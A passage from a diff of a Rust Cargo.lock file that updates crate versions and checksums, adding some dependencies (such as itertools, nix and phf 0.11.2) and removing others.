- "system-deps 6.1.1", + "system-deps 6.2.0", ] [[package]] @@ -1529,9 +1540,13 @@ dependencies = [ [[package]] name = "half" -version = "1.8.2" +version = "2.3.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "eabb4a44450da02c90444cf74558da904edde8fb4e9035a9a6a4e15445af0bd7" +checksum = "bc52e53916c08643f1b56ec082790d1e86a32e58dc5268f897f313fbae7b4872" +dependencies = [ + "cfg-if", + "crunchy", +] [[package]] name = "hashbrown" @@ -1541,9 +1556,9 @@ checksum = "8a9ee70c43aaf417c914396645a0fa852624801b24ebb7ae78fe8272889ac888" [[package]] name = "hashbrown" -version = "0.14.0" +version = "0.14.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2c6201b9ff9fd90a5a3bac2e56a830d0caa509576f0e503818ee82c181b3437a" +checksum = "290f1a1d9242c78d09ce40a5e87e7554ee637af1351968159f4952f028f75604" dependencies = [ "ahash", "allocator-api2", @@ -1551,11 +1566,11 @@ dependencies = [ [[package]] name = "hashlink" -version = "0.8.3" +version = "0.8.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "312f66718a2d7789ffef4f4b7b213138ed9f1eb3aa1d0d82fc99f88fb3ffd26f" +checksum = "e8094feaf31ff591f651a2664fb9cfd92bba7a60ce3197265e9482ebe753c8f7" dependencies = [ - "hashbrown 0.14.0", + "hashbrown 0.14.3", ] [[package]] @@ -1578,9 +1593,9 @@ dependencies = [ [[package]] name = "hermit-abi" -version = "0.3.2" +version = "0.3.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "443144c8cdadd93ebf52ddb4056d257f5b52c04d3c804e657d19eb73fc33668b" +checksum = "5d3d0e0f38255e7fa3cf31335b3a56f05febd18025f4db5ef7a0cfb4f8da651f" [[package]] name = "hex" @@ -1590,9 +1605,9 @@ checksum = "7f24254aa9a54b5c858eaee2f5bccdb46aaf0e486a595ed5fd8f86ba55232a70" [[package]] name = "hkdf" -version = "0.12.3" +version = "0.12.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "791a029f6b9fc27657f6f188ec6e5e43f6911f6f878e0dc5501396e09809d437" +checksum = "7b5f8eb2ad728638ea2c7d47a21db23b7b58a72ed6a38256b8a1849f15fbbdf7" dependencies = [ "hmac", ] @@ -1608,18 +1623,18 @@ dependencies = [ [[package]] name = "home" -version = "0.5.5" +version = "0.5.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5444c27eef6923071f7ebcc33e3444508466a76f7a2b93da00ed6e19f30c1ddb" +checksum = "e3d1354bf6b7235cb4a0576c2619fd4ed18183f689b12b006a0ee7329eeff9a5" dependencies = [ - "windows-sys 0.48.0", + "windows-sys 0.52.0", ] [[package]] name = "html5ever" -version = "0.25.2" +version = "0.26.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e5c13fb08e5d4dfc151ee5e88bae63f7773d61852f3bdc73c9f4b9e1bde03148" +checksum = "bea68cab48b8459f17cf1c944c67ddc572d272d9f2b274140f223ecb1da4a3b7" dependencies = [ "log", "mac", @@ -1631,13 +1646,13 @@ dependencies = [ [[package]] name = "http" -version = "0.2.9" +version = "0.2.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bd6effc99afb63425aff9b05836f029929e345a6148a14b7ecd5ab67af944482" +checksum = "8947b1a6fad4393052c7ba1f4cd97bed3e953a95c79c92ad9b051a04611d9fbb" dependencies = [ "bytes", "fnv", - "itoa 1.0.9", + "itoa 1.0.10", ] [[package]] @@ -1648,16 +1663,16 @@ checksum = "21dec9db110f5f872ed9699c3ecf50cf16f423502706ba5c72462e28d3157573" [[package]] name = "iana-time-zone" -version = "0.1.57" +version = "0.1.59" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2fad5b825842d2b38bd206f3e81d6957625fd7f0a361e345c30e01a0ae2dd613" +checksum = "b6a67363e2aa4443928ce15e57ebae94fd8949958fd1223c4cfc0cd473ad7539" dependencies = [ "android_system_properties", "core-foundation-sys", "iana-time-zone-haiku", "js-sys", "wasm-bindgen", - "windows 0.48.0", + "windows-core", ] [[package]] @@ -1687,9 +1702,9 @@ checksum = "b9e0384b61958566e926dc50660321d12159025e767c18e043daf26b70104c39" [[package]] name = "idna" -version = "0.4.0" +version = "0.5.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7d20d6b07bfbc108882d88ed8e37d39636dcc260e15e30c45e6ba089610b917c" +checksum = "634d9b1461af396cad843f47fdba5597a4f9e6ddd4bfb6ff5d85028c25cb12f6" dependencies = [ "unicode-bidi", "unicode-normalization", @@ -1697,31 +1712,29 @@ dependencies = [ [[package]] name = "ignore" -version = "0.4.20" +version = "0.4.22" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dbe7873dab538a9a44ad79ede1faf5f30d49f9a5c883ddbab48bce81b64b7492" +checksum = "b46810df39e66e925525d6e38ce1e7f6e1d208f72dc39757880fcb66e2c58af1" dependencies = [ + "crossbeam-deque", "globset", - "lazy_static", "log", "memchr", - "regex", + "regex-automata 0.4.5", "same-file", - "thread_local", "walkdir", "winapi-util", ] [[package]] name = "image" -version = "0.24.7" +version = "0.24.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6f3dfdbdd72063086ff443e297b61695500514b1e41095b6fb9a5ab48a70a711" +checksum = "034bbe799d1909622a74d1193aa50147769440040ff36cb2baa947609b0a4e23" dependencies = [ "bytemuck", "byteorder", "color_quant", - "num-rational", "num-traits", ] @@ -1738,20 +1751,20 @@ dependencies = [ [[package]] name = "indexmap" -version = "2.0.0" +version = "2.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d5477fe2230a79769d8dc68e0eabf5437907c0457a5614a9e8dddb67f65eb65d" +checksum = "d530e1a18b1cb4c484e6e34556a0d948706958449fca0cab753d649f2bce3d1f" dependencies = [ "equivalent", - "hashbrown 0.14.0", + "hashbrown 0.14.3", "serde", ] [[package]] name = "infer" -version = "0.12.0" +version = "0.13.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a898e4b7951673fce96614ce5751d13c40fc5674bc2d759288e46c3ab62598b3" +checksum = "f551f8c3a39f68f986517db0d1759de85881894fdc7db798bd2a9df9cb04b7fc" dependencies = [ "cfb", ] @@ -1762,7 +1775,7 @@ version = "0.1.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a0c10553d664a4d0bcff9f4215d0aac67a639cc68ef660840afe309b807bc9f5" dependencies = [ - "generic-array", + "generic-array 0.14.7", ] [[package]] @@ -1784,6 +1797,15 @@ dependencies = [ ] [[package]] +name = "itertools" +version = "0.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "25db6b064527c5d482d0423354fcd07a89a2dfe07b67892e62411946db7f07b0" +dependencies = [ + "either", +] + +[[package]] name = "itoa" version = "0.4.8" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -1791,9 +1813,9 @@ checksum = "b71991ff56294aa922b450139ee08b3bfc70982c6b2c7562771375cf73542dd4" [[package]] name = "itoa" -version = "1.0.9" +version = "1.0.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "af150ab688ff2122fcef229be89cb50dd66af9e01a4ff320cc137eecc9bacc38" +checksum = "b1a46d1a171d865aa5f83f92695765caa047a9b4cbae2cbf37dbd613a793fd4c" [[package]] name = "javascriptcore-rs" @@ -1840,18 +1862,18 @@ checksum = "8eaf4bc02d17cbdd7ff4c7438cafcdf7fb9a4613313ad11b4f8fefe7d3fa0130" [[package]] name = "js-sys" -version = "0.3.64" +version = "0.3.67" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c5f195fe497f702db0f318b07fdd68edb16955aed830df8363d837542f8f935a" +checksum = "9a1d36f1235bc969acba30b7f5990b864423a6068a10f7c90ae8f0112e3a59d1" dependencies = [ "wasm-bindgen", ] [[package]] name = "json-patch" -version = "1.0.0" +version = "1.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1f54898088ccb91df1b492cc80029a6fdf1c48ca0db7c6822a8babad69c94658" +checksum = "55ff1e1486799e3f64129f8ccad108b38290df9cd7015cd31bed17239f0789d6" dependencies = [ "serde", "serde_json", @@ -1860,13 +1882,14 @@ dependencies = [ ] [[package]] -name = "kuchiki" -version = "0.8.1" +name = "kuchikiki" +version = "0.8.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1ea8e9c6e031377cff82ee3001dc8026cdf431ed4e2e6b51f98ab8c73484a358" +checksum = "f29e4755b7b995046f510a7520c42b2fed58b77bd94d5a87a8eb43d2fd126da8" dependencies = [ "cssparser", "html5ever", + "indexmap 1.9.3", "matches", "selectors", ] @@ -1882,21 +1905,32 @@ dependencies = [ [[package]] name = "libc" -version = "0.2.147" +version = "0.2.152" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b4668fb0ea861c1df094127ac5f1da3409a82116a4ba74fca2e58ef927159bb3" +checksum = "13e3bf6590cbc649f4d1a3eefc9d5d6eb746f5200ffb04e5e142700b8faa56e7" [[package]] name = "libm" -version = "0.2.7" +version = "0.2.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f7012b1bbb0719e1097c47611d3898568c546d597c2e74d66f6087edd5233ff4" +checksum = "4ec2a862134d2a7d32d7983ddcdd1c4923530833c9f2ea1a44fc5fa473989058" + +[[package]] +name = "libredox" +version = "0.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85c833ca1e66078851dba29046874e38f08b2c883700aa29a03ddd3b23814ee8" +dependencies = [ + "bitflags 2.4.2", + "libc", + "redox_syscall", +] [[package]] name = "libsqlite3-sys" -version = "0.26.0" +version = "0.27.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "afc22eff61b133b115c6e8c74e818c628d6d5e7a502afea6f64dee076dd94326" +checksum = "cf4e226dcd58b4be396f7bd3c20da8fdee2911400705297ba7d2d7cc2c30f716" dependencies = [ "cc", "pkg-config", @@ -1914,15 +1948,15 @@ dependencies = [ [[package]] name = "linux-raw-sys" -version = "0.4.5" +version = "0.4.13" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "57bcfdad1b858c2db7c38303a6d2ad4dfaf5eb53dfeb0910128b2c26d6158503" +checksum = "01cda141df6706de531b6c46c3a33ecca755538219bd484262fa09410c13539c" [[package]] name = "lock_api" -version = "0.4.10" +version = "0.4.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c1cc9717a20b1bb222f333e6a92fd32f7d8a18ddc5a3191a11af45dcbf4dcd16" +checksum = "3c168f8615b12bc01f9c17e2eb0cc07dcae1940121185446edc3744920e8ef45" dependencies = [ "autocfg", "scopeguard", @@ -1966,13 +2000,13 @@ dependencies = [ [[package]] name = "markup5ever" -version = "0.10.1" +version = "0.11.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a24f40fb03852d1cdd84330cddcaf98e9ec08a7b7768e952fad3b4cf048ec8fd" +checksum = "7a2629bb1404f3d34c2e921f21fd34ba00b206124c81f65c50b43b6aaefeb016" dependencies = [ "log", - "phf 0.8.0", - "phf_codegen", + "phf 0.10.1", + "phf_codegen 0.10.0", "string_cache", "string_cache_codegen", "tendril", @@ -1995,18 +2029,19 @@ checksum = "2532096657941c2fea9c289d370a250971c689d4f143798ff67113ec042024a5" [[package]] name = "md-5" -version = "0.10.5" +version = "0.10.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6365506850d44bff6e2fbcb5176cf63650e48bd45ef2fe2665ae1570e0f4b9ca" +checksum = "d89e7ee0cfbedfc4da3340218492196241d89eefb6dab27de5df917a6d2e78cf" dependencies = [ + "cfg-if", "digest", ] [[package]] name = "memchr" -version = "2.5.0" +version = "2.7.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2dffe52ecf27772e601905b7522cb4ef790d2cc203488bbd0e2fe85fcb74566d" +checksum = "523dc4f511e55ab87b694dc30d0f820d60906ef06413f93d4d7a1385599cc149" [[package]] name = "memoffset" @@ -2035,9 +2070,9 @@ dependencies = [ [[package]] name = "mio" -version = "0.8.8" +version = "0.8.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "927a765cd3fc26206e66b296465fa9d3e5ab003e651c1b3c060e7956d96b19d2" +checksum = "8f3d0b296e374a4e6f3c7b0a1f5a51d748a0d34c85e7dc48fc3fa9a87657fe09" dependencies = [ "libc", "wasi 0.11.0+wasi-snapshot-preview1", @@ -2079,6 +2114,17 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e4a24736216ec316047a1fc4252e27dabb04218aa4a3f37c6e7ddbf1f9782b54" [[package]] +name = "nix" +version = "0.27.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2eb04e9c688eff1c89d72b407f168cf79bb9e867a9d3323ed6c01519eb9cc053" +dependencies = [ + "bitflags 2.4.2", + "cfg-if", + "libc", +] + +[[package]] name = "nodrop" version = "0.1.14" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2143,21 +2189,10 @@ dependencies = [ ] [[package]] -name = "num-rational" -version = "0.4.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0638a1c9d0a3c0914158145bc76cff373a75a627e6ecbfb71cbe6f453a5a19b0" -dependencies = [ - "autocfg", - "num-integer", - "num-traits", -] - -[[package]] name = "num-traits" -version = "0.2.16" +version = "0.2.17" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f30b0abd723be7e2ffca1272140fac1a2f084c77ec3e123c192b66af1ee9e6c2" +checksum = "39e3200413f237f41ab11ad6d161bc7239c84dcb631773ccd7de3dfe4b5c267c" dependencies = [ "autocfg", "libm", @@ -2235,18 +2270,18 @@ dependencies = [ [[package]] name = "object" -version = "0.32.0" +version = "0.32.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "77ac5bbd07aea88c60a577a1ce218075ffd59208b2d7ca97adf9bfc5aeb21ebe" +checksum = "a6a622008b6e321afc04970976f62ee297fdbaa6f95318ca343e3eebb9648441" dependencies = [ "memchr", ] [[package]] name = "once_cell" -version = "1.18.0" +version = "1.19.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dd8b5dd2ae5ed71462c540258bedcb51965123ad7e7ccf4b9a8cafaa4a63576d" +checksum = "3fdb12b2476b595f9358c5161aa467c2438859caa136dec86c26fdd2efe17b92" [[package]] name = "opaque-debug" @@ -2303,7 +2338,7 @@ dependencies = [ "glib-sys", "gobject-sys", "libc", - "system-deps 6.1.1", + "system-deps 6.2.0", ] [[package]] @@ -2318,13 +2353,13 @@ dependencies = [ [[package]] name = "parking_lot_core" -version = "0.9.8" +version = "0.9.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "93f00c865fe7cabf650081affecd3871070f26767e7b2070a3ffae14c654b447" +checksum = "4c42a9226546d68acdd9c0a280d17ce19bfe27a46bf68784e4066115788d008e" dependencies = [ "cfg-if", "libc", - "redox_syscall 0.3.5", + "redox_syscall", "smallvec", "windows-targets 0.48.5", ] @@ -2373,9 +2408,9 @@ dependencies = [ [[package]] name = "percent-encoding" -version = "2.3.0" +version = "2.3.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9b2a4787296e9989611394c33f193f676704af1686e70b8f8033ab5ba9a35a94" +checksum = "e3148f5046208a5d56bcfc03053e3ca6334e51da8dfb19b6cdc8b306fae3283e" [[package]] name = "phf" @@ -2394,9 +2429,17 @@ version = "0.10.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "fabbf1ead8a5bcbc20f5f8b939ee3f5b0f6f281b6ad3468b84656b658b455259" dependencies = [ - "phf_macros 0.10.0", "phf_shared 0.10.0", - "proc-macro-hack", +] + +[[package]] +name = "phf" +version = "0.11.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ade2d8b8f33c7333b51bcf0428d37e217e9f32192ae4772156f65063b8ce03dc" +dependencies = [ + "phf_macros 0.11.2", + "phf_shared 0.11.2", ] [[package]] @@ -2410,6 +2453,16 @@ dependencies = [ ] [[package]] +name = "phf_codegen" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4fb1c3a8bc4dd4e5cfce29b44ffc14bedd2ee294559a294e2a4d4c9e9a6a13cd" +dependencies = [ + "phf_generator 0.10.0", + "phf_shared 0.10.0", +] + +[[package]] name = "phf_generator" version = "0.8.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2430,6 +2483,16 @@ dependencies = [ ] [[package]] +name = "phf_generator" +version = "0.11.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "48e4cc64c2ad9ebe670cb8fd69dd50ae301650392e81c05f9bfcb2d5bdbc24b0" +dependencies = [ + "phf_shared 0.11.2", + "rand 0.8.5", +] + +[[package]] name = "phf_macros" version = "0.8.0" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2445,16 +2508,15 @@ dependencies = [ [[package]] name = "phf_macros" -version = "0.10.0" +version = "0.11.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "58fdf3184dd560f160dd73922bea2d5cd6e8f064bf4b13110abd81b03697b4e0" +checksum = "3444646e286606587e49f3bcf1679b8cef1dc2c5ecc29ddacaffc305180d464b" dependencies = [ - "phf_generator 0.10.0", - "phf_shared 0.10.0", - "proc-macro-hack", + "phf_generator 0.11.2", + "phf_shared 0.11.2", "proc-macro2", "quote", - "syn 1.0.109", + "syn 2.0.48", ] [[package]] @@ -2476,30 +2538,19 @@ dependencies = [ ] [[package]] -name = "pin-project" -version = "1.1.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fda4ed1c6c173e3fc7a83629421152e01d7b1f9b7f65fb301e490e8cfc656422" -dependencies = [ - "pin-project-internal", -] - -[[package]] -name = "pin-project-internal" -version = "1.1.3" +name = "phf_shared" +version = "0.11.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4359fd9c9171ec6e8c62926d6faaf553a8dc3f64e1507e76da7911b4f6a04405" +checksum = "90fcb95eef784c2ac79119d1dd819e162b5da872ce6f3c3abe1e8ca1c082f72b" dependencies = [ - "proc-macro2", - "quote", - "syn 2.0.29", + "siphasher", ] [[package]] name = "pin-project-lite" -version = "0.2.12" +version = "0.2.13" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "12cc1b0bf1727a77a54b6654e7b5f1af8604923edc8b81885f8ec92f9e3f0a05" +checksum = "8afb450f006bf6385ca15ef45d71d2288452bc3683ce2e2cacc0d18e4be60b58" [[package]] name = "pin-utils" @@ -2530,18 +2581,18 @@ dependencies = [ [[package]] name = "pkg-config" -version = "0.3.27" +version = "0.3.29" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "26072860ba924cbfa98ea39c8c19b4dd6a4a25423dbdf219c1eca91aa0cf6964" +checksum = "2900ede94e305130c13ddd391e0ab7cbaeb783945ae07a279c268cb05109c6cb" [[package]] name = "plist" -version = "1.5.0" +version = "1.6.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bdc0001cfea3db57a2e24bc0d818e9e20e554b5f97fabb9bc231dc240269ae06" +checksum = "e5699cc8a63d1aa2b1ee8e12b9ad70ac790d65788cd36101fa37f87ea46c4cef" dependencies = [ - "base64 0.21.2", - "indexmap 1.9.3", + "base64 0.21.7", + "indexmap 2.1.0", "line-wrap", "quick-xml", "serde", @@ -2550,9 +2601,9 @@ dependencies = [ [[package]] name = "png" -version = "0.17.10" +version = "0.17.11" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dd75bf2d8dd3702b9707cdbc56a5b9ef42cec752eb8b3bafc01234558442aa64" +checksum = "1f6c3c3e617595665b8ea2ff95a86066be38fb121ff920a9c0eb282abcd1da5a" dependencies = [ "bitflags 1.3.2", "crc32fast", @@ -2573,6 +2624,12 @@ dependencies = [ ] [[package]] +name = "powerfmt" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "439ee305def115ba05938db6eb1644ff94165c5ab5e9420d1c1bcedbba909391" + +[[package]] name = "ppv-lite86" version = "0.2.17" source = "registry+https://github.com/rust-lang/crates.io-index" @@ -2591,7 +2648,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7f4c021e1093a56626774e81216a4ce732a735e5bad4868a03f3ed65ca0c3919" dependencies = [ "once_cell", - "toml_edit", + "toml_edit 0.19.15", ] [[package]] @@ -2626,9 +2683,9 @@ checksum = "dc375e1527247fe1a97d8b7156678dfe7c1af2fc075c9a4db3690ecd2a148068" [[package]] name = "proc-macro2" -version = "1.0.66" +version = "1.0.78" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "18fb31db3f9bddb2ea821cde30a9f70117e3f119938b5ee630b7403aa6e2ead9" +checksum = "e2422ad645d89c99f8f3e6b88a9fdeca7fabeac836b1002371c4367c8f984aae" dependencies = [ "unicode-ident", ] @@ -2641,18 +2698,18 @@ checksum = "a993555f31e5a609f617c12db6250dedcac1b0a85076912c436e6fc9b2c8e6a3" [[package]] name = "quick-xml" -version = "0.29.0" +version = "0.31.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "81b9228215d82c7b61490fec1de287136b5de6f5700f6e58ea9ad61a7964ca51" +checksum = "1004a344b30a54e2ee58d66a71b32d2db2feb0a31f9a2d302bf0536f15de2a33" dependencies = [ "memchr", ] [[package]] name = "quote" -version = "1.0.33" +version = "1.0.35" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5267fca4496028628a95160fc423a33e8b2e6af8a5302579e322e4b520293cae" +checksum = "291ec9ab5efd934aaf503a6466c5d5251535d108ee747472c3977cc5acc868ef" dependencies = [ "proc-macro2", ] @@ -2717,7 +2774,7 @@ version = "0.6.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" dependencies = [ - "getrandom 0.2.10", + "getrandom 0.2.12", ] [[package]] @@ -2746,9 +2803,9 @@ checksum = "f2ff9a1f06a88b01621b7ae906ef0211290d1c8a168a15542486a8f61c0833b9" [[package]] name = "rayon" -version = "1.7.0" +version = "1.8.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1d2df5196e37bcc87abebc0053e20787d73847bb33134a69841207dd0a47f03b" +checksum = "fa7237101a77a10773db45d62004a272517633fbcc3df19d96455ede1122e051" dependencies = [ "either", "rayon-core", @@ -2756,55 +2813,44 @@ dependencies = [ [[package]] name = "rayon-core" -version = "1.11.0" +version = "1.12.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4b8f95bd6966f5c87776639160a66bd8ab9895d9d4ab01ddba9fc60661aebe8d" +checksum = "1465873a3dfdaa8ae7cb14b4383657caab0b3e8a0aa9ae8e04b044854c8dfce2" dependencies = [ - "crossbeam-channel", "crossbeam-deque", "crossbeam-utils", - "num_cpus", -] - -[[package]] -name = "redox_syscall" -version = "0.2.16" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fb5a58c1855b4b6819d59012155603f0b22ad30cad752600aadfcb695265519a" -dependencies = [ - "bitflags 1.3.2", ] [[package]] name = "redox_syscall" -version = "0.3.5" +version = "0.4.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "567664f262709473930a4bf9e51bf2ebf3348f2e748ccc50dea20646858f8f29" +checksum = "4722d768eff46b75989dd134e5c353f0d6296e5aaa3132e776cbdb56be7731aa" dependencies = [ "bitflags 1.3.2", ] [[package]] name = "redox_users" -version = "0.4.3" +version = "0.4.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b033d837a7cf162d7993aded9304e30a83213c648b6e389db233191f891e5c2b" +checksum = "a18479200779601e498ada4e8c1e1f50e3ee19deb0259c25825a98b5603b2cb4" dependencies = [ - "getrandom 0.2.10", - "redox_syscall 0.2.16", + "getrandom 0.2.12", + "libredox", "thiserror", ] [[package]] name = "regex" -version = "1.9.3" +version = "1.10.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "81bc1d4caf89fac26a70747fe603c130093b53c773888797a6329091246d651a" +checksum = "b62dbe01f0b06f9d8dc7d49e05a0785f153b00b2c227856282f671e0318c9b15" dependencies = [ "aho-corasick", "memchr", - "regex-automata 0.3.6", - "regex-syntax 0.7.4", + "regex-automata 0.4.5", + "regex-syntax 0.8.2", ] [[package]] @@ -2818,13 +2864,13 @@ dependencies = [ [[package]] name = "regex-automata" -version = "0.3.6" +version = "0.4.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fed1ceff11a1dddaee50c9dc8e4938bd106e9d89ae372f192311e7da498e3b69" +checksum = "5bb987efffd3c6d0d8f5f89510bb458559eab11e4f869acb20bf845e016259cd" dependencies = [ "aho-corasick", "memchr", - "regex-syntax 0.7.4", + "regex-syntax 0.8.2", ] [[package]] @@ -2835,9 +2881,9 @@ checksum = "f162c6dd7b008981e4d40210aca20b4bd0f9b60ca9271061b07f78537722f2e1" [[package]] name = "regex-syntax" -version = "0.7.4" +version = "0.8.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e5ea92a5b6195c6ef2a0295ea818b312502c6fc94dde986c5553242e18fd4ce2" +checksum = "c08c74e62047bb2de4ff487b251e4a92e24f48745648451635cec7d591162d9f" [[package]] name = "rfd" @@ -2865,16 +2911,14 @@ dependencies = [ [[package]] name = "rsa" -version = "0.9.2" +version = "0.9.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6ab43bb47d23c1a631b4b680199a45255dce26fa9ab2fa902581f624ff13e6a8" +checksum = "5d0e5124fcb30e76a7e79bfee683a2746db83784b86289f6251b54b7950a0dfc" dependencies = [ - "byteorder", "const-oid", "digest", "num-bigint-dig", "num-integer", - "num-iter", "num-traits", "pkcs1", "pkcs8", @@ -2902,15 +2946,15 @@ dependencies = [ [[package]] name = "rustix" -version = "0.38.8" +version = "0.38.30" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "19ed4fa021d81c8392ce04db050a3da9a60299050b7ae1cf482d862b54a7218f" +checksum = "322394588aaf33c24007e8bb3238ee3e4c5c09c084ab32bc73890b99ff326bca" dependencies = [ - "bitflags 2.4.0", + "bitflags 2.4.2", "errno", "libc", "linux-raw-sys", - "windows-sys 0.48.0", + "windows-sys 0.52.0", ] [[package]] @@ -2921,9 +2965,9 @@ checksum = "7ffc183a10b4478d04cbbbfc96d0873219d962dd5accaff2ffbd4ceb7df837f4" [[package]] name = "ryu" -version = "1.0.15" +version = "1.0.16" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1ad4cc8da4ef723ed60bced201181d83791ad433213d8c24efffda1eec85d741" +checksum = "f98d2aa92eebf49b69786be48e4477826b256916e84a57ff2a4f21923b48eb4c" [[package]] name = "safemem" @@ -2986,7 +3030,7 @@ dependencies = [ "log", "matches", "phf 0.8.0", - "phf_codegen", + "phf_codegen 0.8.0", "precomputed-hash", "servo_arc", "smallvec", @@ -2995,75 +3039,75 @@ dependencies = [ [[package]] name = "semver" -version = "1.0.18" +version = "1.0.21" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b0293b4b29daaf487284529cc2f5675b8e57c61f70167ba415a463651fd6a918" +checksum = "b97ed7a9823b74f99c7742f5336af7be5ecd3eeafcb1507d1fa93347b1d589b0" dependencies = [ "serde", ] [[package]] name = "serde" -version = "1.0.186" +version = "1.0.196" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9f5db24220c009de9bd45e69fb2938f4b6d2df856aa9304ce377b3180f83b7c1" +checksum = "870026e60fa08c69f064aa766c10f10b1d62db9ccd4d0abb206472bee0ce3b32" dependencies = [ "serde_derive", ] [[package]] name = "serde_derive" -version = "1.0.186" +version = "1.0.196" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5ad697f7e0b65af4983a4ce8f56ed5b357e8d3c36651bf6a7e13639c17b8e670" +checksum = "33c85360c95e7d137454dc81d9a4ed2b8efd8fbe19cee57357b32b9771fccb67" dependencies = [ "proc-macro2", "quote", - "syn 2.0.29", + "syn 2.0.48", ] [[package]] name = "serde_json" -version = "1.0.105" +version = "1.0.112" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "693151e1ac27563d6dbcec9dee9fbd5da8539b20fa14ad3752b2e6d363ace360" +checksum = "4d1bd37ce2324cf3bf85e5a25f96eb4baf0d5aa6eba43e7ae8958870c4ec48ed" dependencies = [ - "itoa 1.0.9", + "itoa 1.0.10", "ryu", "serde", ] [[package]] name = "serde_repr" -version = "0.1.16" +version = "0.1.18" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8725e1dfadb3a50f7e5ce0b1a540466f6ed3fe7a0fca2ac2b8b831d31316bd00" +checksum = "0b2e6b945e9d3df726b65d6ee24060aff8e3533d431f677a9695db04eff9dfdb" dependencies = [ "proc-macro2", "quote", - "syn 2.0.29", + "syn 2.0.48", ] [[package]] name = "serde_spanned" -version = "0.6.3" +version = "0.6.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "96426c9936fd7a0124915f9185ea1d20aa9445cc9821142f0a73bc9207a2e186" +checksum = "eb3622f419d1296904700073ea6cc23ad690adbd66f13ea683df73298736f0c1" dependencies = [ "serde", ] [[package]] name = "serde_with" -version = "3.3.0" +version = "3.5.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1ca3b16a3d82c4088f343b7480a93550b3eabe1a358569c2dfe38bbcead07237" +checksum = "f5c9fdb6b00a489875b22efd4b78fe2b363b72265cc5f6eb2e2b9ee270e6140c" dependencies = [ - "base64 0.21.2", + "base64 0.21.7", "chrono", "hex", "indexmap 1.9.3", - "indexmap 2.0.0", + "indexmap 2.1.0", "serde", "serde_json", 